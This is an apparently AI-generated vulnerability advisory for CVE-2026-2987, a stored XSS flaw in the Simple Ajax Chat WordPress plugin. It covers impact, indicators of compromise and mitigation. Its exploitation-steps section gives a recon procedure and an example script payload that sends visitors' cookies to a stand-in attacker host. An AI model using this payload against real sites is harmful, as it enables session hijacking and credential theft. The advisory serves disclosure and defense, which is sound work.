CVE-2026-2987
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-2987 is a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Ajax Chat plugin for WordPress, affecting all versions up to and including 20260217. The flaw exists in the 'c' (chat message) parameter due to insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject persistent malicious scripts. It was published on March 12, 2026, with Wordfence credited as the assigner. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (Wordfence).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to properly sanitize user-supplied input submitted via the 'c' parameter (the chat message field) before storing it, and fails to escape it upon output. Because no authentication is required to submit chat messages, any visitor can inject arbitrary JavaScript that will execute in the browsers of other users who view the chat page. A patch was committed to the WordPress plugin repository (changeset 3472258) (Wordfence, WordPress SVN).

Impact

Successful exploitation allows an unauthenticated attacker to persistently inject arbitrary JavaScript into pages served to other site visitors or administrators. This can result in session cookie theft, credential harvesting, defacement of the chat interface, redirection to malicious sites, or execution of actions on behalf of authenticated users (including administrators). The CVSS scope is marked as "Changed," reflecting that the impact extends beyond the vulnerable component to the browsers of affected users, with low confidentiality and integrity impacts and no direct availability impact (Wordfence).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-2987 as of the available data. The EPSS score is approximately 0.055%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the unauthenticated nature of the attack vector lowers the barrier for exploitation significantly, as any visitor to a site running the vulnerable plugin can attempt to inject scripts (Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites using the Simple Ajax Chat plugin (version ≤ 20260217) via passive techniques such as checking plugin file paths (e.g., /wp-content/plugins/simple-ajax-chat/) or using tools like WPScan.
  2. Locate the chat interface: Navigate to the page on the target site where the Simple Ajax Chat widget is embedded and accessible to unauthenticated users.
  3. Craft a malicious payload: Prepare a stored XSS payload to be submitted as a chat message via the 'c' parameter, for example: <script>document.location='https://attacker.com/steal?c='+document.cookie;</script>
  4. Submit the payload: Post the crafted message through the chat form. Because input is not sanitized before storage, the payload is saved to the database.
  5. Trigger execution: When any user (including administrators) loads the page containing the chat, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress SVN).

Indicators of compromise

  • Network: Outbound requests from victim browsers to unexpected external domains shortly after visiting pages with the Simple Ajax Chat widget; unusual GET requests containing cookie or session data to attacker-controlled infrastructure.
  • Logs: WordPress or web server access logs showing POST requests to the chat submission endpoint containing <script>, javascript:, onerror=, or other HTML/JS event handler patterns in the 'c' parameter.
  • Database: Chat message entries in the WordPress database (typically the wp_sac_messages or equivalent table) containing raw HTML tags or JavaScript code rather than plain text.
  • Browser/Client: Users reporting unexpected redirects, pop-ups, or authentication prompts when visiting pages with the chat widget.

Mitigation and workarounds

Site administrators should update the Simple Ajax Chat plugin to a version released after 20260217, which includes the fix committed in changeset 3472258 to the WordPress plugin repository. If an immediate update is not possible, disabling or removing the plugin is the recommended workaround to eliminate the attack surface. Additionally, a Web Application Firewall (WAF) with XSS filtering rules can provide a temporary layer of defense (Wordfence, WordPress SVN).

Community reactions

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for the week of March 9–15, 2026, noting it as a medium-severity stored XSS issue affecting unauthenticated users (Wordfence Blog). The vulnerability was also noted by INCIBE-CERT and CCN-CERT (Spanish national cybersecurity agencies) in their vulnerability alert feeds. No significant broader media coverage or notable researcher commentary beyond standard disclosure channels has been identified.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2024-13784CRITICAL9.8
  • arforms-form-builder
NoYesAug 16, 2026
CVE-2026-65640HIGH8.8
  • wordpress
NoYesAug 17, 2026
CVE-2026-11801HIGH7.5
  • wpadverts
NoYesAug 18, 2026
CVE-2026-13700MEDIUM5.9
  • wooms
NoNoAug 17, 2026
CVE-2026-14832MEDIUM5.3
  • shopsmart-loyalty-for-woocommerce
NoNoAug 17, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management